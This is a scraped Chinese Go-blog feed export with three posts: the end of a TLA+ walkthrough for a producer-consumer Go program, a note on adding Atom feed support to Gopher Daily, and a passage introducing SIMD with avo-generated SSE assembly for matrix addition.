closed\u0026gt;\u0026gt;(Produce) /\\ SF_\u0026lt;\u0026lt;produced, closed\u0026gt;\u0026gt;(Close) /\\ SF_\u0026lt;\u0026lt;ch\u0026gt;\u0026gt;(Consume) Spec == Init /\\ [][Next]_\u0026lt;\u0026lt;ch, produced, consumed, closed\u0026gt;\u0026gt; /\\ Fairness THEOREM Spec =\u0026gt; []TypeOK ChannelEventuallyEmpty == \u0026lt;\u0026gt;(ch = \u0026lt;\u0026lt;\u0026gt;\u0026gt;) AllMessagesProduced == \u0026lt;\u0026gt;(produced = 5) ChannelEventuallyClosed == \u0026lt;\u0026gt;(closed = TRUE) AllMessagesConsumed == \u0026lt;\u0026gt;(consumed = 5) ==== 这个Spec不算长，但也不短，你可能看不大懂，没关系，接下来我们就来说说从main.go到ProducerConsumer.tla的建模过程，并重点解释一下上述TLA+代码中的重要语法。\n针对main.go中体现出来的Producer和Consumer的逻辑，我们首先需要识别关键组件：生产者、消费者和一个通道(channel)，然后我们需要确定状态变量，包括：通道内容(ch)、已生产消息数(produced)、已消费消息数(consumed)、通道是否关闭(closed)。\n接下来，我们就要定义action，即导致状态变化的step，包括Produce、Consume和Close。\n最后，我们需要设置初始状态Init和下一个状态Next，并定义安全属性(TypeOK)和一些活性属性(如AllMessagesConsumed等)\n现在，我们结合上述TLA+的代码，来说一下上述这些逻辑是如何在TLA+中实现的：\n---- MODULE ProducerConsumer ---- 这一行定义了模块名称，模块名称与文件名字(ProducerConsumer.tla)要一致，否则TLA+ Toolkit在Open Spec时会报错。\nEXTENDS Integers, Sequences 这行会导入整数和序列模块，以使用相关运算符。\nVARIABLES ch, \\* 通道内容 produced, \\* 已生产的消息数 consumed, \\* 已消费的消息数 closed \\* 通道是否关闭 这里使用VARIBALES关键字定义了四个状态变量，整个TLA+程序的函数逻辑就围绕这四个变量进行，TLC Model check也是基于这些状态变量对TLA+ module进行验证。\nTypeOK == /\\ ch \\in Seq(0..4) /\\ produced \\in 0..5 /\\ consumed \\in 0..5 /\\ closed \\in BOOLEAN 定义不变量，确保变量状态在系统的所有行为过程中始终保持在合理范围内，该TypeOK不变量即是整个程序的安全属性。\nInit == /\\ ch = \u0026lt;\u0026lt;\u0026gt;\u0026gt; /\\ produced = 0 /\\ consumed = 0 /\\ closed = FALSE 这是初始状态的公式，对应了四个变量的初始值。\nProduce == /\\ produced \u0026lt; 5 /\\ ch = \u0026lt;\u0026lt;\u0026gt;\u0026gt; /\\ ~closed /\\ ch\u0026#39; = Append(ch, produced) /\\ produced\u0026#39; = produced + 1 /\\ UNCHANGED \u0026lt;\u0026lt;consumed, closed\u0026gt;\u0026gt; 这里定义了生产操作的公式，只有在produced \u0026lt; 5，ch为空且closed不为true时，才会生产下一个数字。这里设定ch为空作为前提条件，主要是为了体现Channel的unbuffered的性质。\nClose == /\\ produced = 5 /\\ ch = \u0026lt;\u0026lt;\u0026gt;\u0026gt; /\\ ~closed /\\ closed\u0026#39; = TRUE /\\ UNCHANGED \u0026lt;\u0026lt;ch, produced, consumed\u0026gt;\u0026gt; 这里定义了关闭操作的公式，这里的ch = \u0026laquo;\u0026gt;\u0026gt;子公式的目的是等消费完之后再关闭channel，当然这里与Go的机制略有差异。\nConsume == /\\ ch /= \u0026lt;\u0026lt;\u0026gt;\u0026gt; /\\ ch\u0026#39; = Tail(ch) /\\ consumed\u0026#39; = consumed + 1 /\\ UNCHANGED \u0026lt;\u0026lt;produced, closed\u0026gt;\u0026gt; 这里定义了消费操作的公式，只有channel不为空，才进行消费。\nNext == \\/ Produce \\/ Close \\/ Consume 这里基于三个操作公式定义了下一个状态(Next)的公式，使用\\/运算符将这三个操作连接起来，表示下一步可以执行其中任意一个操作。\nFairness == /\\ SF_\u0026lt;\u0026lt;ch, produced, closed\u0026gt;\u0026gt;(Produce) /\\ SF_\u0026lt;\u0026lt;produced, closed\u0026gt;\u0026gt;(Close) /\\ SF_\u0026lt;\u0026lt;ch\u0026gt;\u0026gt;(Consume) 这里定义了公平性条件，确保各操作最终会被执行。\nSpec == Init /\\ [][Next]_\u0026lt;\u0026lt;ch, produced, consumed, closed\u0026gt;\u0026gt; /\\ Fairness 这里定义了整个并发程序的规范，包括初始条件Init和下一步动作约束以及Fairness条件。/\\连接的第二段Next表示系统的每一步都必须符合Next定义的可能动作，并且不会改变 \u0026laquo;ch, produced, consumed, closed\u0026gt;\u0026gt; 元组中变量之外的其他变量。Fairness 表示系统必须满足前面定义的 Fairness 条件。\nTHEOREM Spec =\u0026gt; []TypeOK 这是一个定理，表示如果系统满足Spec规范，则一定会满足TypeOK这个不变量。其中的”=\u0026gt;”是蕴含的意思，A =\u0026gt; B表示如果A为真，那么B必然为真。用一个例子可以解释这点，如果x \u0026gt; 3为真，那么 x \u0026gt; 1 必为真，我们可以将其写为：x \u0026gt; 3 =\u0026gt; x \u0026gt; 1。\nChannelEventuallyEmpty == \u0026lt;\u0026gt;(ch = \u0026lt;\u0026lt;\u0026gt;\u0026gt;) AllMessagesProduced == \u0026lt;\u0026gt;(produced = 5) ChannelEventuallyClosed == \u0026lt;\u0026gt;(closed = TRUE) AllMessagesConsumed == \u0026lt;\u0026gt;(consumed = 5) 这里定义了四个活性属性，用于在TLC Model check时验证最终状态使用，其中：ChannelEventuallyEmpty表示最终消息队列 ch 一定会为空；AllMessagesProduced表示最终一定会生产5条消息；ChannelEventuallyClosed表示最终消息队列一定会被关闭；AllMessagesConsumed表示最终一定会消费5条消息。\n接下来，我们可以使用前面提到的TLA+ Toolbox来check该spec，下面是model的设置和model check的结果：\nmodel设置\ncheck结果\n注：在VSCode中使用TLA+插件的Checker对上述tla进行check，会出现不满足活性属性的error结果。\n6. 小结 在这篇文章中，我们从Lamport提供的C语言代码示例出发，一步步介绍了如何将其转换为TLA+ spec，并使用TLA+ Toolkit进行验证。然后我们又以一个Go语言的生产者-消费者并发程序为例，展示了如何使用TLA+对其进行建模和验证。\n不过我必须承认，TLA+这种形式化验证语言是极小众的。对大多数程序员来说，可能没什么实际帮助。即便是在大厂，真正使用TLA+对分布式系统进行形式化验证的案例也很少。\n但是，我认为TLA+仍然有其独特的价值：\n它迫使我们用更抽象和精确的方式思考系统设计，有助于发现潜在的问题。 对于一些关键的分布式系统组件，使用TLA+进行验证可以极大地提高可靠性。 学习TLA+的过程本身就是一次提升系统设计能力的过程。 当然，形式化方法并非万能。比如它无法解决性能退化等问题，也不能验证代码是否正确实现了设计。我们应该将其视为系统设计和验证的补充工具，而不是替代品。\n总之，虽然TLA+可能不适合所有人，但对于那些构建复杂分布式系统的工程师来说，它仍然是一个值得学习和使用的强大工具。我希望这篇文章能为大家了解和入门TLA+提供一些帮助。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/go-and-tla-plus\n本文部分源代码由claude 3.5 sonnet生成。\n7. 参考资料 The TLA+ Home Page – https://lamport.azurewebsites.net/tla/tla.html 《Practical TLA+：Planning Driven Development》- https://book.douban.com/subject/30348788/ Learn TLA+ – https://www.learntla.com/ 《[A Science of Concurrent Programs]》(https://lamport.azurewebsites.net/tla/science.pdf) – https://lamport.azurewebsites.net/tla/science.pdf 《Specifying Systems: The TLA+ Language and Tools for Hardware and Software Engineers》- https://book.douban.com/subject/3752446/ Linux Foundation Announces Launch of TLA+ Foundation – https://www.linuxfoundation.org/press/linux-foundation-launches-tlafoundation TLA+ Foundation – https://foundation.tlapl.us/ TLA+ in TiDB – https://github.com/pingcap/tla-plus TLA+ Web Explorer – https://will62794.github.io/tla-web TLA+ language support for Visual Studio Code – https://github.com/tlaplus/vscode-tlaplus Use of Formal Methods at Amazon Web Services – https://lamport.azurewebsites.net/tla/formal-methods-amazon.pdf Leslie Lamport’s The TLA+ Video Course – https://www.youtube.com/playlist?list=PLWAv2Etpa7AOAwkreYImYt0gIpOdWQevD Leslie Lamport’s The TLA+ Video Course homepage – https://lamport.azurewebsites.net/video/videos.html Introduction to TLA+ – https://lamport.azurewebsites.net/video/video1-script.pdf TLA+ Google Group – https://groups.google.com/g/tlaplus HILLEL WAYNE Blog – https://www.hillelwayne.com/ Leslie Lamport: Thinking Above the Code – https://www.youtube.com/watch?v=-4Yp3j_jk8Q Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/08/05/formally-verify-concurrent-go-programs-using-tla-plus/","summary":"\u003cp\u003e\u003cimg alt=\"Image 39\" loading=\"lazy\" src=\"/images/wp-content/uploads/formally-verify-concurrent-go-programs-using-tla-plus-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/08/05/formally-verify-concurrent-go-programs-using-tla-plus\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/08/05/formally-verify-concurrent-go-programs-using-tla-plus\"\u003ehttps://tonybai.com/2024/08/05/formally-verify-concurrent-go-programs-using-tla-plus\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWriting is nature’s way of letting you know how sloppy your thinking is – Guindon\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在2024年6月份举办的\u003ca href=\"https://www.youtube.com/playlist?list=PLtoVuM73AmsIf99_fXLq_ehe2tpGVJQiF\"\u003eGopherCon Europe Berlin 2024\u003c/a\u003e上，一个叫Raghav Roy的印度程序员(听口音判断的)分享了\u003ca href=\"https://www.youtube.com/watch?v=yiVOJqXTWfc\"\u003eUsing Formal Reasoning to Build Concurrent Go Systems\u003c/a\u003e，介绍了如何使用形式化验证工具\u003ca href=\"https://en.wikipedia.org/wiki/TLA%2B\"\u003eTLA+\u003c/a\u003e来验证Go并发程序的设计正确性。\u003c/p\u003e","title":"使用TLA+形式化验证Go并发程序"},{"content":"Gopher Daily支持Feed订阅 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 Gopher Daily支持Feed订阅 八月 4, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/08/04/gopherdaily-add-feed-support\n在《Russ Cox“退位”，Go语言将迎来新领袖，未来将如何发展》一文的评论区，有Gopher问及gopher-daily.com的HTTPS证书过期的问题，这里再正式声明一下：gopher-daily.com并非Gopher Daily的官方邮件列表，而是由一位名为Bastengao的热心Gopher维护的第三方邮件列表。Gopher Daily以前没有官方邮件订阅功能，该邮件列表弥补了广大Gopher通过邮件订阅Gopher Daily的需求，这里再次表示感谢。\n不过，一年前，我为Gopher Daily增加了官方邮件列表，大家可以在Gopher Daily主页实现邮件订阅。\n接下来，还是那位提问的Gopher又询问Gopher Daily是否支持RSS订阅，我当时如实相告：暂不支持。\n不过，这个周末针对邮件列表支持RSS订阅的功能需求，我也简单调研了一下，似乎很多技术类Newsletter都不支持。不过，我询问了一下Claude 3.5 Sonnet邮件列表和RSS订阅的优缺点，下面是它的回答摘录：\n邮件列表和RSS订阅都是传播信息的有效方式，但各有优缺点。 邮件列表的优点： 1. 直接送达：信息直接发送到订阅者的收件箱，更容易引起注意。 2. 个性化：可以根据订阅者的兴趣定制内容。 3. 互动性：读者可以直接回复邮件与发送者交流。 4. 数据分析：可以追踪打开率、点击率等数据。 5. 无需额外软件：用户只需要邮箱就可以接收。 邮件列表的缺点： 1. 可能被当作垃圾邮件：有时会被误分类或过滤。 2. 信息过载：频繁的邮件可能让订阅者感到烦扰。 3. 隐私问题：需要收集用户的邮箱地址。 4. 送达率：不能保证100%送达。 RSS订阅的优点： 1. 实时更新：内容一发布就可以被获取。 2. 集中阅读：可以在一个RSS阅读器中浏览多个来源的内容。 3. 无垃圾邮件风险：不会被误认为是垃圾邮件。 4. 匿名性：不需要提供个人信息。 RSS订阅的缺点： 1. 需要额外软件：用户需要使用RSS阅读器。 2. 缺乏个性化：难以针对个别用户定制内容。 3. 互动性较差：不易与内容创作者直接交流。 4. 数据分析有限：难以获得详细的用户行为数据。 总的来说，邮件列表更适合需要个性化、互动性强的内容传播，而RSS则更适合频繁更新、希望读者自主选择阅读时间的内容。选择哪种方式取决于你的目标受众和内容类型。 我觉得邮件列表最大的问题就是到达率问题，现在各大电邮服务对于垃圾邮件的过滤还是很严格的，甚至“宁可错杀三千，不可放走一人”，我个人订阅的很多Newsletter也总是被误杀，导致偶尔收不到。出于让更多人能看到Gopher Daily的考虑，我决定给Gopher Daily Newsletter增加RSS订阅功能。\n给一个站点或邮件列表增加RSS订阅功能至少有两种方案，一种是利用一些RSSHub之类的信息聚合服务站点直接将站点转换为一个RSS源，这种方案就需要依赖这样的RSS源转换服务。另外一种就是自己实现RSS源服务。\nRSS（Really Simple Syndication）实际上是在Web 1.0时代发展起来的，但它在Web 2.0的环境中得到了广泛应用。Web 2.0强调用户生成内容和互动，而RSS允许用户方便地订阅和获取来自不同网站的内容更新，促进了信息的分发和共享。\n信息订阅技术目前演进到RSS 2.0和Atom订阅阶段。RSS 2.0是最广泛使用的RSS版本，但它并不是一个正式的IETF（Internet Engineering Task Force）标准，因此没有官方的RFC。然而，它有一个详细的规范文档，在RSS Advisory Board上可以看到。\n鉴于RSS缺乏标准化，Atom格式被开发出来作为一个标准化的替代品。Atom是有正式的RFC规范的：RFC 4287: The Atom Syndication Format。不过，无论是RSS 2.0还是Atom规范，都不复杂。\nAtom规范中举的一个最简单的single entry的Feed源的响应数据示例如下：\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026gt; \u0026lt;feed xmlns=\u0026#34;http://www.w3.org/2005/Atom\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Example Feed\u0026lt;/title\u0026gt; \u0026lt;link href=\u0026#34;http://example.org/\u0026#34;/\u0026gt; \u0026lt;updated\u0026gt;2003-12-13T18:30:02Z\u0026lt;/updated\u0026gt; \u0026lt;author\u0026gt; \u0026lt;name\u0026gt;John Doe\u0026lt;/name\u0026gt; \u0026lt;/author\u0026gt; \u0026lt;id\u0026gt;urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6\u0026lt;/id\u0026gt; \u0026lt;entry\u0026gt; \u0026lt;title\u0026gt;Atom-Powered Robots Run Amok\u0026lt;/title\u0026gt; \u0026lt;link href=\u0026#34;http://example.org/2003/12/13/atom03\u0026#34;/\u0026gt; \u0026lt;id\u0026gt;urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a\u0026lt;/id\u0026gt; \u0026lt;updated\u0026gt;2003-12-13T18:30:02Z\u0026lt;/updated\u0026gt; \u0026lt;summary\u0026gt;Some text.\u0026lt;/summary\u0026gt; \u0026lt;/entry\u0026gt; \u0026lt;/feed\u0026gt; 于是，我决定自己来基于Go http handler和标准库的xml包为Gopher Daily服务加上Atom版的订阅支持，无需使用任何第三方包。增加订阅源后，还可以使用W3C的免费的Feed Validation Service来验证Feed是否是符合规范的：\n下面是使用feeder.co/reader订阅Gopher Daily Atom源的效果图：\n这张图上还保留了调试过程的“痕迹”，从最初的只有summary，到后期的可以输出全文（由于每一期Gopher Daily的篇幅都不多，因此直接在Feed源输出了全文）。\n借这次机会，我顺便对Gopher Daily的模板做了调整，在原本放在每一期下方的快捷链接放到了最上方，这样可以更加方便大家的操作：\n屏幕前的各位Gopher，如果你更喜欢Feed(RSS/Atom)订阅方式查看Gopher Daily，请现在就把Gopher Daily的订阅源(右键 -\u0026gt; 复制链接) – https://gopherdaily.tonybai.com/feed 加到你的Feed Reader里吧！\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/08/04/gopherdaily-add-feed-support/","summary":"\u003ch1 id=\"gopher-daily支持feed订阅--tony-bai\"\u003eGopher Daily支持Feed订阅 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"gopher-daily支持feed订阅\"\u003eGopher Daily支持Feed订阅\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e八月 4, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/08/04/gopherdaily-add-feed-support/#respond\" title=\"《Gopher Daily支持Feed订阅》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopherdaily-add-feed-support-1.png\"\u003e\u003c/p\u003e","title":"Gopher Daily支持Feed订阅"},{"content":"\n本文永久链接 – https://tonybai.com/2024/07/21/simd-in-go\n前些日子，一些资深Gopher，比如fasthttp的作者Aliaksandr Valialkin因函数迭代器加入Go 1.23版本而抱怨Go的演进走错了方向：朝着增加复杂性和隐式代码执行的方向发展，而没有专注于Go语言的基本设计哲学——简单性、生产力和性能。Valialkin希望Go团队能专注于一些性能打磨和优化的环节，比如使用SIMD提升一些计算场景下Go代码的性能，避免Go的某些领地被以性能和安全性著称的Rust抢去！\n无独有偶，在Go项目issues中，我们也能看到很多有关希望Go支持SIMD指令的issue，比如近期的一个proposal，就期望Go团队可以在标准库中添加simd包以支持高性能的SIMD计算，就像Rust std::simd那样。当然，早期这类issue也有很多，比如：issue 53171、issue 58610等。\n那么什么是SIMD指令？在Go官方尚未支持simd包或SIMD计算的情况下，如何在Go中使用SIMD指令进行计算加速呢？在这篇文章中，我们就来做个入门版介绍，并以一个最简单的矩阵加法的示例来展示一下SIMD指令的加速效果。\n1. SIMD指令简介 SIMD是“单指令多数据”(Single Instruction Multiple Data)的缩写。与之对应的则是SISD（Single Instruction, Single Data），即“单指令单数据”。\n在大学学习汇编时，用于举例的汇编指令通常是SISD指令，比如常见的ADD、MOV、LEA、XCHG等。这些指令每执行一次，仅处理一个数据项。早期的x86架构下，SISD指令处理的数据仅限于8字节（64位）或更小的数据。随着处理器架构的发展，特别是x86-64架构的引入，SISD指令也能处理更大的数据项，使用更大的寄存器。但SISD指令每次仍然只处理一个数据项，即使这个数据项可能比较大。\n相反，SIMD指令是一种特殊的指令集，它可以让处理器可以同时处理多个数据项，提高计算效率。我们可以用下面这个更为形象生动的比喻来体会SIMD和SISD的差别。\n想象你是一个厨师，需要切100个苹果。普通的方式是一次切一个苹果，这就像普通的SISD处理器指令。而SIMD指令就像是你突然多了几双手，可以同时切4个或8个苹果。显然，多手同时工作会大大提高切苹果的速度。\n具体来说，SIMD指令的优势在于以下几点：\n并行处理：一条指令可以同时对多个数据进行相同的操作。 数据打包：将多个较小的数据(如32位浮点数)打包到一个较大的寄存器(如256位)中。 提高数据吞吐量：每个时钟周期可以处理更多的数据。 这种并行处理方式特别适合于需要大量重复计算的任务，如图像处理、音频处理、科学计算等。通过使用SIMD指令，可以显著提高这些应用的性能。\n主流的x86-64(amd64)和arm系列CPU都有对SIMD指令的支持。以x86-64为例，该CPU体系下支持的SIMD指令就包括MMX(MultiMedia eXtensions)、SSE (Streaming SIMD Extensions)、SSE2、SSE3、SSSE3、SSE4、AVX(Advanced Vector Extensions)、AVX2以及AVX-512等。ARM架构下也有对应的SIMD指令集，包括VFP (Vector Floating Point)、NEON (Advanced SIMD)、SVE (Scalable Vector Extension)、SVE2以及Helium (M-Profile Vector Extension, MVE)等。\n注：在Linux上，你可以通过lscpu或cat /proc/cpuinfo来查看当前主机cpu支持的SIMD指令集的种类。\n注：Go在Go 1.11版本才开始支持AVX-512指令。\n每类SIMD指令集都有其特定的优势和应用场景，以x86-64下的SIMD指令集为例：\nMMX主要用于早期的多媒体处理； SSE系列逐步改进了浮点运算和整数运算能力，广泛应用于图形处理和音视频编码； AVX系列大幅提高了并行处理能力，特别适合科学计算和高性能计算场景。 x86-64下SIMD指令集演进\n这些指令集的演进反映了处理器技术的发展和应用需求的变化。从支持64位计算的MMX到支持512位计算的AVX-512，SIMD指令的并行处理能力不断提升，更多更大的寄存器加入进来，为各种复杂的计算任务提供了强大的硬件支持。\n注：SSE和AVX各自有16个寄存器，SSE的16个寄存器为XMM0-XMM15，XMM是128位寄存器，而YMM是256位寄存器。支持AVX的x86-64处理器包含16个256位大小的寄存器，从YMM0到YMM15。每个YMM寄存器的低128位是相对应的XMM寄存器。大多数AVX指令可以使用任何一个XMM或者YMM寄存器作为SIMD操作数。AVX512将每个AVXSIMD寄存器的大小从256位扩展到512位，称为ZMM寄存器；符合AVX512标准的处理器包含32个ZMM寄存器，从ZMM0~ZMM31。YMM和XMM寄存器分别对应于每个ZMM寄存器的低256位和低128位。\n既然SIMD指令这么好，那么在Go中应该如何使用SIMD指令呢？接下来我们就来看看。\n2. 在Go中如何使用SIMD指令 Go主要面向的是云计算领域、微服务领域，这些领域中对计算性能的要求相对没那么极致。以至于在一些对性能要求较高的场景，比如高性能计算、 图形学、数字信号处理等领域，很多gopher会遇到对Go计算性能进行优化的需求。\n纯计算领域，怎么优化呢？此时此刻，Go官方并没有提供对SIMD提供支持的simd包。\n一种想法是使用cgo机制在Go中调用更快的C或C++，但cgo的负担又不能不考虑，cgo不是go，很多人不愿意引入cgo。\n另外一种想法就是再向下一层，直接上汇编，在汇编中直接利用SIMD指令实现并行计算。但手写汇编难度是很高的，手写Plan9风格、资料甚少的Go汇编难度则更高。那么有什么方法避免直接手搓汇编呢？目前看大致有这么几种(如果有更好的方法，欢迎在评论区提出你的建议)：\n使用c2goasm(https://github.com/minio/c2goasm/)转换 我们可以先用c/c++实现对应的函数功能(可以利用类似intel提供的面向simd的intrisic functions)，然后生成汇编代码(基于clang)，再用c2goasm转换为go语言汇编。不过目前c2goasm已经public archive了，并且该方法应用受很多因素限制，比如clang版本和特定的编译选项啥的。亲测这种方法上手难度较高。\n使用uber工程师Michael McLoughlin开源的avo来生成go汇编 avo(https://github.com/mmcloughlin/avo)是一个go包，它支持以一种相对高级一些的Go语法来编写汇编，至少你可以不必直面那些晦涩难懂的汇编代码。但使用avo编写汇编也不是很容易的事情，你仍然需要大致知道汇编的运作原理和基本的编写规则。此外avo与汇编的能力并非完全等价，其作者声明：avo也还处于实验阶段。\n使用goplus/llgo集成c/c++生态 在go中调用c的cgo机制不受待见，llgo反其道而行之，将go、python、c/c++等代码统统转换为llvm中间代码进而通过clang编译和优化为可执行文件。这样就可以直接利用python、c/c++的生态，进而利用高性能的c/c++实现（比如支持SIMD指令）。目前llgo还不成熟，七牛云老板许式伟正在全力开发llgo，等llgo成熟后，这后续可能也是一种选择。\n考虑到Go目前不直接支持intel intrisic functions for SIMD，要在Go中使用SIMD只能直接使用汇编。而在手搓汇编难度太高的情况下，通过avo生成汇编便是一条可以尝试的路径，我们可以将一些计算的核心部分用avo生成的汇编来进行加速。\n接下来，我们就来通过一个矩阵加法的示例看看SIMD指令的加速效果。基于SIMD指令的矩阵加法的汇编逻辑，我们采用avo实现。\n3. 第一版SIMD优化(基于SSE) 我们使用avo先来实现一版基于SSE指令集的矩阵加法。前面说过avo是一个Go库，我们无需安装任何二进制程序，直接使用avo库中的类型和函数编写矩阵加法的实现即可：\n// simd-in-go/matadd-sse/pkg/asm.go //go:build ignore // +build ignore package main import ( \u0026#34;github.com/mmcloughlin/avo/attr\u0026#34; . \u0026#34;github.com/mmcloughlin/avo/build\u0026#34; . \u0026#34;github.com/mmcloughlin/avo/operand\u0026#34; ) func main() { TEXT(\u0026#34;MatrixAddSIMD\u0026#34;, attr.NOSPLIT, \u0026#34;func(a, b, c []float32)\u0026#34;) a := Mem{Base: Load(Param(\u0026#34;a\u0026#34;).Base(), GP64())} b := Mem{Base: Load(Param(\u0026#34;b\u0026#34;).Base(), GP64())} c := Mem{Base: Load(Param(\u0026#34;c\u0026#34;).Base(), GP64())} n := Load(Param(\u0026#34;a\u0026#34;).Len(), GP64()) X0 := XMM() X1 := XMM() Label(\u0026#34;loop\u0026#34;) CMPQ(n, U32(4)) JL(LabelRef(\u0026#34;done\u0026#34;)) MOVUPS(a.Offset(0), X0) MOVUPS(b.Offset(0), X1) ADDPS(X1, X0) MOVUPS(X0, c.Offset(0)) ADDQ(U32(16), a.Base) ADDQ(U32(16), b.Base) ADDQ(U32(16), c.Base) SUBQ(U32(4), n) JMP(LabelRef(\u0026#34;loop\u0026#34;)) Label(\u0026#34;done\u0026#34;) RET() Generate() } 第一次看上面这段代码，你是不是觉得即便使用avo来生成矩阵加法的代码，如果你不了解汇编的编写和运行模式，你也是无从下手的。简单说一下这段代码。\n首先，该文件是用于生成矩阵加法的汇编代码的，因此该asm.go并不会编译到最终的可执行文件中或测试代码中，这里利用go编译器构建约束将该文件排除在外。\nmain函数的第一行的TEXT函数定义了一个名为MatrixAddSIMD的函数，使用attr.NOSPLIT属性表示不需要栈分割，函数签名是：\nfunc(a, b, c []float32) 变量a, b, c分别表示输入矩阵a, b和输出矩阵c的内存地址，使用Load函数从参数中加载基地址到GP64返回的通用寄存器。n表示矩阵的长度，使用 Load函数从参数中加载长度到GP64返回的通用寄存器。\nX0和X1定义了两个XMM寄存器，用于SIMD操作。\n接下来定义了一个循环，在这个循环的循环体中，将通过SSE指令处理输入的矩阵数据：\nMOVUPS(a.Offset(0), X0)：将矩阵a的前16字节（4 个float32）加载到XMM寄存器X0。 MOVUPS(b.Offset(0), X1)：将矩阵b的前16字节（4个float32）加载到XMM寄存器X1。 ADDPS(X1, X0)：将X1和X0中的数据相加，结果存入X0。 MOVUPS(X0, c.Offset(0))：将结果从X0存入矩阵c的前16字节。 ADDQ(U32(16), a.Base)：将矩阵a的基地址增加16字节（4个float32）。 ADDQ(U32(16), b.Base)：将矩阵b的基地址增加16字节（4个float32）。 ADDQ(U32(16), c.Base)：将矩阵c的基地址增加16字节（4个float32）。 SUBQ(U32(4), n)：将矩阵长度n减少4。 JMP(LabelRef(“loop”))：无条件跳转到标签loop，继续循环。 最后调用Generate函数生成汇编代码。\n下面我们就来运行该代码，生成相应的汇编代码以及stub函数：\n$cd matadd-sse/pkg $make go run asm.go -out add.s -stubs stub.go 下面是生产的add.s的全部汇编代码：\n// simd-in-go/matadd-sse/pkg/add.s // Code generated by command: go run asm.go -out add.s -stubs stub.go. DO NOT EDIT. #include \u0026#34;textflag.h\u0026#34; // func MatrixAddSIMD(a []float32, b []float32, c []float32) // Requires: SSE TEXT 